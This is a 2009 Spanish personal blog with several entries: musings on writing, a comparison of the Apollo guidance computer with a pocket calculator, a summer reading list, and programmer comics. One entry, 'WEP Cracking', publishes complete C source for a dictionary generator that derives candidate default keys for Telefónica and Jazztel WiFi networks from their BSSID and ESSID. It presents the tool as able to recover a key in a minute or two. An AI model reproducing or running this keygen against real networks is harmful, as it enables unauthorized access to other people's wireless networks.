miércoles, 4 de noviembre de 2009

Podría escribir...

Escribir por ejemplo: "La noche está estrellada, y tiritan, azules, los astros, a lo lejos."

También podría dejarme de mariconadas e ir a clase, por ejemplo.

martes, 21 de julio de 2009

Y la Luna...

Hace 40 años y unas horas que la humanidad llegó a la Luna.

La verdad es que no parece gran cosa dado que hoy en día cualquiera puede tener un mapa de Marte con mejor resolución que los mapas de algunas regiones de la Tierra. Y sí, poner un pie en la Luna fue una hazaña, pero ahora mismo en Marte hay gente jugando con coches teledirigidos, o naves espaciales que cuentan sus experimentos por Twitter. Vale que a veces los cálculos fallen, o que en Marte la cobertura no sea del todo buena, pero se puede decir que tenemos el Universo a la vuelta de la esquina. Con todo esto, haber llegado a la Luna parece un poco más dificil que coger el metro en hora punta.

Nada más lejos de la realidad. Hace 40 años la humanidad llegó a la Luna en algo parecido a una furgoneta con una calculadora acoplada. Y fueron capaces de volver, eso es algo asombroso.

La idea de escribir esto, es que estaba buscando una funciones en el manual de mi calculadora (una Casio fx-3650p, nada espectacular) cuando di con sus especificaciones. Luego me dio por buscar las características del "ordenador" de las naves Apollo y resulta que mi calculadora de 15 € le da patadas en el culo.

Las naves Apollo fueron las primeras en utilizar sistemas con circuitos integrados. Maravilloso, pensaréis, pero esos circuitos integrados son los mismos sistemas avanzadísimos que podemos encontrar hoy en día en una lavadora. Por comparar, aquellos sistemas tenían unas 5600 puerta lógicas, cuando un procesador de hoy en día tiene del orden de cientos de millones de transistores. Su memoria RAM era de unos 4 KB, 2 kibiwords donde cada kibiword son 1024 palabras y cada palabra tiene 16 bits, 15 de datos y uno de paridad para reconocimiento de errores. Su memoria ROM, es decir donde realmente iba todo lo necesario para calcular la llegada a la Luna y la vuelta a la Tierra era de unas 36 kibiwords, eso hacen unos 72 KB. Toda la información la manejaban con circuitos lógicos, es decir no había un microprocesador tal y como lo entendemos hoy en día. Y la programación se hacía directamente sobre el cableado del aparato. Claro que tenían un teclado y una pequeña pantalla donde podían meter códigos numéricos que representaban datos y acciones.

Para que nos hagamos una idea, habría sido posible enchufarle un iPod al módulo lunar que usaron y le habría sobrado tanta potencia de cálculo que podrían ir y venir viéndose una peli.

De todas formas eran otros tiempos. Parece ser que la NASA hoy en día usa en sus "aparatitos" sistemas más o menos obsoletos, por aquello de que están perfectamente probados y se considera que la mayoría de sus fallos son conocidos y por tanto predecibles. También utilizan sistemas redundantes y lenguajes de programación que minimizan los fallos como Ada.

Por tanto, ¿cuánto hemos avanzado en 40 años? Mucho. Tanto que ya hay virus informáticos terrestres en la Estación Espacial Internacional.

NOTA: En la Wikipedia hay más información sobre el AGC (Apollo Guidance Computer).

miércoles, 8 de julio de 2009

Libros veraniegos

Cuando empieza esta época normalmente se hacen un montón de planes locos. Viajes imposibles, juergas impresionantes, ... todo vale para que éste sea El Verano De Tu Vida (tm). El problema es que con los años uno se va dando cuenta de que la mayoría de las veces los viajes locos se quedan en una excursioncilla a Valdebotijos de Arriba y el fiestón impresionante acaba siendo tomar cuatro cañas en una terraza cualquiera, de una ciudad cualquiera, sin playa.

Por eso sé que en mis múltiples veranos, el plan que nunca me ha fallado es el de leer un buen montón de libros. Y es que cuando hace demasiado calor para dormir (o para estudiar), o vas en el autobús hacia Valdebotijos de Arriba, o te vas a la playa y quieres dártela de intelectual (que alguno habrá) lo mejor que puedes hacer es leer.

Este año he decidido hacer una lista de libros que pienso leer, e iré poniendo (breves) reseñas de cada uno según los vaya leyendo (o no, que todo puede ser). Por el momento han caído:

  • Azul casi transparente de Ryu Murakami: Lo compré sin fijarme, pensando que era del otro Murakami (Haruki). Me esperaba un libro mágico, basado en el mundo de las sensaciones de Murakami. Me encontré un libro, en parte autobiográfico, de una pandilla de adolescentes japoneses que viven a la sombra de una base militar americana (en Japón) durante la posguerra. Los tíos por lo visto eran unos desfasados que se drogaban y follaban a saco. Qué se le va a hacer. La vida a veces te da sorpresas agradables. Ha sido como bajarse una peli del eMule y descubrir que es un pornazo. Por lo visto hay una película dirigida por el autor. Habrá que verla.
  • El viaje del elefante de José Saramago: Éste fue un regalo de los Reyes Magos. Resulta que un rey de Portugal decidió regalarle un elefante al Archiduque de Austria y como estaban en el siglo XVI, pues la única forma de llevarlo era andando. Sí, sí, andando de Portugal a Austria. Ésta es la historia del elefante y su conarca (conductor de elefantes en el siglo XVI, operario de grua actual) durante ese largo viaje. Como el viaje es muy largo, Saramago también utiliza párrafos muy largos, de varias páginas, supongo que para ambientar. Aunque por lo que sé, ese suele ser su estilo. De todas formas el libro es bastante recomendable.
  • Buenos Presagios de Terry Pratchett y Neil Gaiman: El mundo se va a acabar y alguien tenía que contarlo. Si alguien ha visto Dogma, muchos de los chistes le van a sonar. Si alguien ha leído otras cosas de Pratchett sabrá que La Muerte es lo mejor del libro. Por lo demás hay una angel malo y un demonio bueno (más o menos) y es bastante entretenido. Además tiene una moraleja: Con el tiempo todas las cintas de música que hay en un coche acaban convirtiéndose en los Grandes Exitos de Queen. ¿Será esto extrapolable a los CDs?
  • Compiladores, principios técnicas y herramientas de Aho, Lam, Sethi y Ullman: También conocido como el Libro del Dragón Rojo (aunque en esta segunda edición el dragón de la portada es lila y llava una jersey que pone "Complexity of Compiler Design"). Maravilloso. Sublime. Aunque supongo que se irá poniendo más emocionante conforme se vaya acercando septiembre. Ahora sí, la traducción es bastante chunga, comprarlo en inglés es bastante más recomendable. Una pena no haberlo sabido antes.
Otros libros que tengo en la recámara son:
  • El ladrón del tiempo de Terry Pratchett: Más Mundodisco. Si alguien tiene curiosidad por saber de qué va todo esto, seguramente Mort o Dioses Menores sean buenos libros para empezar.
  • V de Vendetta de Alan Moore y David Lloyd: Cómic. Cojonudo.
  • El general en su laberinto de Gabriel García Márquez: Ni idea de qué va. Lo encontré el otro día en mi estantería y no me suena haberlo leído.
  • Tokio Blues de Haruki Murakami: Con este libro seguro que no me confundo y no es porno como el de Ryu. Aunque yo que sé, como ya he dicho, a veces la vida tiene sorpresas agradables.
  • ...
¿Alguna sugerencia?

martes, 2 de junio de 2009

WEP Cracking

He escrito este pequeño programa en C que puede que en algún momento le sea de utilidad a alguien. Es un generador de diccionarios para "crackear" las redes wifi de Telefónica y Jazztel. Vamos esas que tienen por nombre "WLAN_XX" o "JAZZTEL_XX". El "algoritmo" (si se le puede llamar así) lo encontré por Internet y es realmente muy sencillo.

En principio es posible conseguir la clave de una de estas redes en cuestión de minutos, vamos, de uno o dos minutos.

El código es bastante chapucero, está escrito en C'99 y debería de compilar en cualquier compilador de C. Si alguien tiene sugerencias, dudas o lo que sea que pregunte ;). El código va sin licencia así que se puede considerar de dominio público., después de todo seguro que buscando por Internet hay mil cosas parecidas, pero estaba ocioso y lo escribí.

Código:

/* Generador de passwords para redes Imagenio y Jazztel *
* junio 2009 *
* v: 0.1 *
* a: tquimico */


#include <stdio.h>
#include <string.h>

void detect_router(char *bssid, char t, char *router) {
switch(t)
{
case 'J':
strcpy(router,"E001D20");
break;
default:
if (strncmp(bssid,"00:01:38",8) == 0)
strcpy(router,"X000138");
else if (strncmp(bssid,"00:03:C9",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:16:38",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:03:DA",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:19:15",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:1A:2B",8) == 0)
strcpy(router,"C001D20");
else if (strncmp(bssid,"00:1D:20",8) == 0)
strcpy(router,"C001D20");
else if (strncmp(bssid,"00:60:B3",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:A0:C5",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:13:49",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:02:CF",8) == 0)
strcpy(router,"Z0002CF");
else if (strncmp(bssid,"00:19:CB",8) == 0)
strcpy(router,"Z0002CF");
}
return;
}

int main(int argc, char *argv[]) {

if (argc != 4) {
printf("l33t boy ;)\n");
printf("usage: keygen BSSID ESSID FILE\n");
return 1;
}

char router[8];
int n = strlen(argv[2]);
char operador = argv[2][0];

FILE *fp;

if ((fp = fopen(argv[3], "w")) == NULL) {
printf("Can't open file\n");
return 1;
}

detect_router(argv[1], operador, router);

int i;
for (i = 0 ; i < 65536 ; i++) {
fprintf(fp, "%s%04X",router,i);
fputc(argv[2][n-2],fp);
fputc(argv[2][n-1],fp);
fputc('\n',fp);
}
fclose(fp);

return 0;
}

Actualización: añadido el "{" que faltaba y blogger se comió. Gracias Bakalito.

jueves, 21 de mayo de 2009

25 cómics sobres programadores

Estudiando en la Facultad (*ejem ejem*) he encontrado esta recopilación de cómics frikis sobre programadores. Qué gente más interesante estos colegunis.

Venga, hasta dentro de otros 6 meses.